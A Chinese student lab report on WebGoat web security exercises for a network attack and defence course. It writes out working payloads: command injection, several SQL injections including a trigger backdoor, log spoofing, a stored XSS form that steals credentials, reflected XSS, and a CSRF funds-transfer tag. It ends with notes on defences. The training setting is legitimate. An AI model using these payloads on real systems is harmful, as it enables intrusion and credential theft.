# 2019-2020-2 20175301李锦然《网络对抗技术》Exp9 Web安全基础
目录
##1.实践目标
本实践的目标理解常用网络攻击技术的基本原理,
做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
##2.基础知识
SQL注入
命令注入(Command Injection)
数字型注入(Numeric SQL Injection)
日志欺骗(Log Spoofing)
等
XSS
钓鱼,反射
CSRF
跨站请求伪造(Cross Site Request Forgery (CSRF))
##3.实验过程
###3.0 配置环境
首先下载并配置好WebGoat
执行命令java -jar webgoat-container-7.0.1-war-exec.jar
我下载的版本是2.5.1
然后使用默认用户名密码登陆
登陆以后左侧什么都没有,查资料以后明白了需要配置JDK,配置完后:
###3.1 SQL注入攻击:Command Injuection
右键点击Inspect Element
在复选框中任意一栏的代码,选择Edit At Html
进行修改,添加&&ipconfig"
可以看到IP地址
###3.2 SQL注入攻击:Numeric SQL Injection
在选中的城市编号Value值中添加or 1=1
点击go
显示了所有城市的天气
###3.3 日志欺骗:Log Spoofing
注入回车(0D%)和换行符(%0A),在username 中填入Smith%0d%0aLogin Succeeded for username: ljr
###3.4 字符串注入:String SQL Injection
输入‘ or 1=1 --
显示了所有银行卡的信息
###3.5 数字型盲注入:Blind Numeric SQL Injection
使用101 and((SELECT pin FROM pins WHERE cc_number=‘1111222233334444‘) =一个一个试);来不断试错,其中也用了大于和小于号,最终试出来是2364 ![](https://img2020.cnblogs.com/blog/1268747/202005/1268747-20200528194407436-1670960051.png) ###3.6 数据库后门:Database Backdoors 输入104查看一下这个人的信息 顺便用
104; update employee set salary=100改了薪水 ![](https://img2020.cnblogs.com/blog/1268747/202005/1268747-20200528194622329-1126298053.png) 然后把
104;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘‘WHERE userid = NEW.userid```这个邮箱复制上去
成功
###3.7 盲型字符查找
原理类似数字盲型注入,不断试错
###3.8 存储型XSS攻击:Stored XSS Attacks
在留言板中输入
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
点击用户名与密码并输入
###3.9 反射型XSS攻击
输入代码<script>alert("jiuzhe5301");</script>
###3.10 CSRF攻击
查看页面右侧Parameters中的src和menu值
在message中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=297&menu=900&transferFunds=5000" width="1" height="1" />
实验中遇到的问题
没啥问题,,基本按着他说的做就可以解决了,其中小部分问题不足为道,在上文中都提出并解决了。
问题回答
SQL注入攻击原理,如何防御 可以把SQL命令插入到查询字符串中让服务器执行语句时执行攻击者输入的命令。通过在输入框中输入一些特殊字符,注释部分语句,利用永真式实现登录、显示信息等目的。 防御方法:在后台控制输入的长度或者禁止用户输入一些特殊符号,例如 -- 、‘ 等 不使用动态SQL语句,通过第三方Web程序调用存储过程来完成对数据库的操作。
XSS攻击的原理,如何防御 XSS攻击是向用户信任的网站插入恶意代码,利用用户对网站的信任获取用户的私密信息 防御方法:不可信数据进行 HTML Entity 编码。将html实体转化为相应的实体编号。 对输入和URL参数进行过滤,在输出数据之前对潜在的威胁的字符进行编码、转义。
CSRF攻击原理,如何防御 跨站请求伪造,和XSS相反,利用用户的身份向服务器发起攻击 防御方法:判断referer头 加个验证码 尽量不使用通用的cookie